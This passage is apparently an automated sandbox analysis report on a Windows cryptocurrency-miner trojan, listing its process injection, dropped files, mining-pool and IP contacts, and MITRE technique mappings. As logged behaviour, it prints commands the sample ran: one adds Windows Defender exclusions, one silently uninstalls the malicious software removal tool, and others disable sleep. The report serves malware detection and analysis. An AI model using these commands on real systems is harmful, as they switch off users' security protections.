            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -ForceJump to behavior
            Injects code into the Windows Explorer (explorer.exe)
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeMemory written: PID: 7480 base: 140000000 value: 4DJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeMemory written: PID: 7480 base: 140001000 value: NUJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeMemory written: PID: 7480 base: 140665000 value: DFJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeMemory written: PID: 7480 base: 140834000 value: 00Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeMemory written: PID: 7480 base: E07010 value: 00Jump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeThread register set: target process: 1432Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeThread register set: target process: 7480Jump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exeJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\explorer.exe explorer.exeJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestartJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
            Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Modifies power options to not sleep / hibernate
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0Jump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeProcess created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0Jump to behavior
            Source: explorer.exe, 00000026.00000002.3767785118.00000000010F9000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: procexp.exe

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts11
            Windows Management Instrumentation            		11
            Windows Service            		11
            Windows Service            		1
            Masquerading            		OS Credential Dumping321
            Security Software Discovery            		Remote Services1
            Archive Collected Data            		1
            Encrypted Channel            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts1
            Service Execution            		1
            DLL Side-Loading            		311
            Process Injection            		1
            Disable or Modify Tools            		LSASS Memory1
            Process Discovery            		Remote Desktop ProtocolData from Removable Media1
            Non-Standard Port            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		131
            Virtualization/Sandbox Evasion            		Security Account Manager131
            Virtualization/Sandbox Evasion            		SMB/Windows Admin SharesData from Network Shared Drive1
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook311
            Process Injection            		NTDS1
            Application Window Discovery            		Distributed Component Object ModelInput Capture1
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
            Deobfuscate/Decode Files or Information            		LSA Secrets13
            System Information Discovery            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts2
            Obfuscated Files or Information            		Cached Domain CredentialsWi-Fi DiscoveryVNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            DLL Side-Loading            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
            File Deletion            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1566240 Sample: rLaC8kO1rD.exe Startdate: 01/12/2024 Architecture: WINDOWS Score: 100 54 xmr-eu1.nanopool.org 2->54 60 Multi AV Scanner detection for submitted file 2->60 62 Yara detected Xmrig cryptocurrency miner 2->62 64 Sigma detected: Stop EventLog 2->64 68 3 other signatures 2->68 8 jmpuqfvaiyka.exe 1 2->8         started        12 rLaC8kO1rD.exe 1 2 2->12         started        signatures3 66 DNS related to crypt mining pools 54->66 process4 file5 50 C:\Windows\Temp\tmacotasdwvx.sys, PE32+ 8->50 dropped 70 Multi AV Scanner detection for dropped file 8->70 72 Injects code into the Windows Explorer (explorer.exe) 8->72 74 Modifies the context of a thread in another process (thread injection) 8->74 76 Sample is not signed and drops a device driver 8->76 14 explorer.exe 8->14         started        18 powershell.exe 22 8->18         started        20 cmd.exe 1 8->20         started        28 5 other processes 8->28 52 C:\ProgramData\...\jmpuqfvaiyka.exe, PE32+ 12->52 dropped 78 Uses powercfg.exe to modify the power settings 12->78 80 Adds a directory exclusion to Windows Defender 12->80 82 Modifies power options to not sleep / hibernate 12->82 22 powershell.exe 23 12->22         started        24 cmd.exe 1 12->24         started        26 powercfg.exe 1 12->26         started        30 7 other processes 12->30 signatures6 process7 dnsIp8 56 212.47.253.124, 10343, 49975 OnlineSASFR France 14->56 58 141.94.23.83, 10343, 49717 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese Germany 14->58 84 System process connects to network (likely due to code injection or exploit) 14->84 86 Query firmware table information (likely to detect VMs) 14->86 88 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 14->88 32 conhost.exe 18->32         started        44 2 other processes 20->44 90 Loading BitLocker PowerShell Module 22->90 34 conhost.exe 22->34         started        36 conhost.exe 24->36         started        38 wusa.exe 24->38         started        40 conhost.exe 26->40         started        46 4 other processes 28->46 42 conhost.exe 30->42         started        48 6 other processes 30->48 signatures9 process10

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            rLaC8kO1rD.exe61%ReversingLabsWin64.Trojan.MintZard

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe61%ReversingLabsWin64.Trojan.MintZard
            C:\Windows\Temp\tmacotasdwvx.sys5%ReversingLabs

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            http://crl.cloudflare.com/origin_ca.crlI0%Avira URL Cloudsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            xmr-eu1.nanopool.org
            		51.15.65.182
            		truefalse
              		high

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              http://crl.cloudflare.com/origin_ca.crl0explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpfalse
                		high
                http://ocsp.cloudflare.com/origin_caexplorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  http://crl.cloudflare.com/origin_ca.crlIexplorer.exe, 00000026.00000002.3767785118.00000000011E4000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://ocsp.cloudflare.com/origin_ca0explorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    http://crl.cloudflare.com/origin_ca.crlexplorer.exe, 00000026.00000003.2616059953.000000000118F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.00000000011E4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001151000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000026.00000002.3767785118.0000000001186000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      212.47.253.124
                      		unknownFrance
                      		12876OnlineSASFRtrue
                      141.94.23.83
                      		unknownGermany
                      		680DFNVereinzurFoerderungeinesDeutschenForschungsnetzesetrue

                      General Information

                      Joe Sandbox version:41.0.0 Charoite
                      Analysis ID:1566240
                      Start date and time:2024-12-01 20:08:08 +01:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 8m 35s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:default.jbs
                      Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                      Number of analysed new started processes analysed:44
                      Number of new started drivers analysed:0
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:rLaC8kO1rD.exe
                      renamed because original name is a hash value
                      Original Sample Name:ce0b693fa6ff60c824ab99f9389b5bd1016435a1f2a2a81b684287fe79454356.exe
                      Detection:MAL
                      Classification:mal100.spyw.evad.mine.winEXE@58/12@1/2
                      EGA Information:
                      • Successful, ratio: 100%
                      HCA Information:
                      • Successful, ratio: 100%
                      • Number of executed functions: 5
                      • Number of non-executed functions: 26
                      Cookbook Comments:
                      • Found application associated with file extension: .exe
                      • Override analysis time to 240000 for current running targets taking high CPU consumption

                      Warnings

                      • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
                      • Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size exceeded maximum capacity and may have missing behavior information.
                      • Report size getting too big, too many NtCreateKey calls found.
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • VT rate limit hit for: rLaC8kO1rD.exe

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      14:08:59API Interceptor32x Sleep call for process: powershell.exe modified

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      212.47.253.124file.exeGet hashmaliciousXmrigBrowse
                        boooba.exeGet hashmaliciousXmrigBrowse
                          2JkHiPgkLE.exeGet hashmaliciousXmrigBrowse
                            SecuriteInfo.com.Trojan.Siggen29.50366.26295.18671.exeGet hashmaliciousXmrigBrowse
                              Gw2G72kSsY.exeGet hashmaliciousXmrigBrowse
                                file.exeGet hashmaliciousXmrigBrowse
                                  ekBTbONX85.exeGet hashmaliciousXmrigBrowse
                                    RPHbzz3JqY.exeGet hashmaliciousScreenConnect Tool, PureLog Stealer, RedLine, Xmrig, zgRATBrowse
                                      Loader.exeGet hashmaliciousLummaC, XmrigBrowse
                                        2mim34IfQZ.exeGet hashmaliciousAsyncRAT, PureLog Stealer, Xmrig, zgRATBrowse
                                          141.94.23.83file.exeGet hashmaliciousXmrigBrowse
                                            2HUgVjrn3O.exeGet hashmaliciousXmrigBrowse
                                              OTm8DpW32j.exeGet hashmaliciousXmrigBrowse
                                                S0FTWARE.exeGet hashmaliciousGo Injector, Vidar, XmrigBrowse
                                                  yLfAxBEcuo.exeGet hashmaliciousCryptbot, Vidar, XmrigBrowse

                                                    Domains

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    xmr-eu1.nanopool.org6xQ8CMUaES.exeGet hashmaliciousXmrigBrowse
                                                    • 51.89.23.91
                                                    4o8Tgrb384.exeGet hashmaliciousXmrigBrowse
                                                    • 51.15.65.182
                                                    rtYpMDeKUq.exeGet hashmaliciousXmrigBrowse
                                                    • 51.89.23.91
                                                    NH95Vhokye.exeGet hashmaliciousXmrigBrowse
                                                    • 54.37.137.114
                                                    ahlntQUj2t.exeGet hashmaliciousXmrigBrowse
                                                    • 54.37.232.103
                                                    file.exeGet hashmaliciousXmrigBrowse
                                                    • 163.172.154.142
                                                    HmA7s2gaa5.exeGet hashmaliciousXmrigBrowse
                                                    • 162.19.224.121
                                                    12Jh49DCAj.exeGet hashmaliciousXmrigBrowse
                                                    • 51.15.65.182
                                                    Ky4J8k89A7.exeGet hashmaliciousStealc, Vidar, XmrigBrowse
                                                    • 51.15.58.224
                                                    boooba.exeGet hashmaliciousXmrigBrowse
                                                    • 51.15.58.224

                                                    ASNs

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    DFNVereinzurFoerderungeinesDeutschenForschungsnetzesela.bot.arm7.elfGet hashmaliciousMiraiBrowse
                                                    • 193.25.60.20
                                                    sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 141.65.9.75
                                                    arm.nn-20241201-1515.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 141.63.151.174
                                                    powerpc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 130.183.50.66
                                                    sora.mips.elfGet hashmaliciousMiraiBrowse
                                                    • 139.19.32.104
                                                    botnet.sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                    • 134.109.173.11
                                                    botnet.spc.elfGet hashmaliciousMirai, MoobotBrowse
                                                    • 141.44.146.54
                                                    sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 141.41.78.132
                                                    arm7.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 141.42.94.37
                                                    botnet.sh4.elfGet hashmaliciousMirai, MoobotBrowse
                                                    • 194.95.239.110
                                                    OnlineSASFRfile.exeGet hashmaliciousAmadey, Cryptbot, LummaC Stealer, Nymaim, XmrigBrowse
                                                    • 163.172.171.111
                                                    file.exeGet hashmaliciousXmrigBrowse
                                                    • 163.172.171.111
                                                    https://antiphishing.vadesecure.com/v4?f=U3NocHNZUmllMWk0MmdjMYDgQ0wsRYjjfDkZnUsmsqS3bv-gdJZTKaN5KSsipRTf&i=cnNwakphM05sN25WcmhxVcUfrB8NjiRd7gd4RsoOTL4&k=A3pt&r=UUJQWml1Y2NtejlnWDZLZB0Eg6oPQLWHk5a0M-cKRXyoaPvtU4tInW_VqCgS4DhSa_cUZCcNAUmWLKbw9MOxGw&s=bf71d8ade961f6ab439c8235babb7157b334d689888d3083d0cc1744cfe48aaf&u=https%3A%2F%2Fpublic-fra.mkt.dynamics.com%2Fapi%2Forgs%2F85a8c477-bea7-ef11-8a66-0022483994f9%2Fr%2FMKSqoVs73k-RUO5uHPfRswIAAAA%3Ftarget%3D%257B%2522TargetUrl%2522%253A%2522https%25253A%25252F%25252Fassets-fra.mkt.dynamics.com%25252F85a8c477-bea7-ef11-8a66-0022483994f9%25252Fdigitalassets%25252Fstandaloneforms%25252F46042089-b8ac-ef11-a72d-6045bd6e29e8%2522%252C%2522RedirectOptions%2522%253A%257B%25226%2522%253A%2522mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%2522%252C%25221%2522%253Anull%257D%257D%26digest%3Djuexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%253D%26secretVersion%3D02e7c83d621d4269af2f08a8e4e233cfGet hashmaliciousUnknownBrowse
                                                    • 163.172.240.109
                                                    la.bot.m68k.elfGet hashmaliciousUnknownBrowse
                                                    • 51.15.153.156
                                                    file.exeGet hashmaliciousXmrigBrowse
                                                    • 163.172.171.111
                                                    https://og.oomaal.in/Get hashmaliciousUnknownBrowse
                                                    • 163.172.253.2
                                                    sparc.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 151.115.247.92
                                                    Lreticupdwy.exeGet hashmaliciousUnknownBrowse
                                                    • 62.210.129.110
                                                    Lreticupdwy.exeGet hashmaliciousUnknownBrowse
                                                    • 62.210.129.110
                                                    mips.nn.elfGet hashmaliciousMirai, OkiruBrowse
                                                    • 212.129.25.56

                                                    JA3 Fingerprints

                                                    ⊘No context

                                                    Dropped Files

                                                    MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                    C:\Windows\Temp\tmacotasdwvx.sysnewtpp.exeGet hashmaliciousXmrigBrowse
                                                      main.exeGet hashmaliciousBlank Grabber, SilentXMRMiner, XmrigBrowse
                                                        6xQ8CMUaES.exeGet hashmaliciousXmrigBrowse
                                                          4o8Tgrb384.exeGet hashmaliciousXmrigBrowse
                                                            0kToM9fVGQ.exeGet hashmaliciousXmrigBrowse
                                                              m2.exeGet hashmaliciousXmrigBrowse
                                                                ICBM-noml.exeGet hashmaliciousXmrigBrowse
                                                                  rtYpMDeKUq.exeGet hashmaliciousXmrigBrowse
                                                                    n7ZKbApaa3.dllGet hashmaliciousLummaC, XmrigBrowse
                                                                      ICBM.exeGet hashmaliciousXmrigBrowse

                                                                        Created / dropped Files

                                                                        C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exe

                                                                        Download File
                                                                        Process:C:\Users\user\Desktop\rLaC8kO1rD.exe
